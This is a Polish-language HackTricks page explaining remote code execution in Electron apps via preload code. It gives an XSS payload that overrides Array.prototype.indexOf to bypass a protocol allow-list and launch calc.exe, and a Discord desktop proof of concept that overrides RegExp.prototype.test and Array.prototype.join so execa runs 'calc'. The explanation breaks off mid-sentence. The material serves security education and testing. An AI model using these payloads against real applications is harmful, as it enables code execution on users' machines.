Electron contextIsolation RCE via preload code
Reading time: 3 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Example 1
Ten kod otwiera linki http(s) w domyślnej przeglądarce:
Coś takiego jak file:///C:/Windows/systemd32/calc.exe
mogłoby być użyte do uruchomienia kalkulatora, SAFE_PROTOCOLS.indexOf
to uniemożliwia.
Dlatego atakujący mógłby wstrzyknąć ten kod JS za pomocą XSS lub dowolnej nawigacji po stronie:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Ponieważ wywołanie SAFE_PROTOCOLS.indexOf
zawsze zwróci 1337, atakujący może obejść ochronę i wykonać kalkulator. Ostateczny exploit:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Sprawdź oryginalne slajdy, aby znaleźć inne sposoby uruchamiania programów bez pytania o uprawnienia.
Najwyraźniej innym sposobem na załadowanie i wykonanie kodu jest dostęp do czegoś takiego jak file://127.0.0.1/electron/rce.jar
Przykład 2: RCE w aplikacji Discord
Przykład z https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Podczas sprawdzania skryptów preload odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą DiscordNative.nativeModules.requireModule('MODULE-NAME')
, na stronie internetowej.
Tutaj nie mogłem użyć modułów, które mogą być używane do RCE bezpośrednio, takich jak moduł child_process, ale znalazłem kod, w którym RCE można osiągnąć przez nadpisanie wbudowanych metod JavaScript i ingerowanie w wykonanie udostępnionego modułu.
Poniżej znajduje się PoC. Udało mi się potwierdzić, że aplikacja calc jest wywoływana, gdy wywołuję funkcję getGPUDriverVersions
, która jest zdefiniowana w module o nazwie "discord_utils" z devTools, podczas nadpisywania RegExp.prototype.test
i Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Funkcja getGPUDriverVersions
próbuje wykonać program, używając biblioteki "execa", w następujący sposób:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Zwykle execa próbuje wykonać "nvidia-smi.exe", który jest określony w zmiennej nvidiaSmiPath
, jednak z powodu nadpisanego RegExp.prototype.test
i Array.prototype.join
, argument jest zastępowany na "calc" w wewnętrznym przetwarzaniu _execa_**.
Specyficznie, argument jest zastępowany przez zmianę następujących dwóch części.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.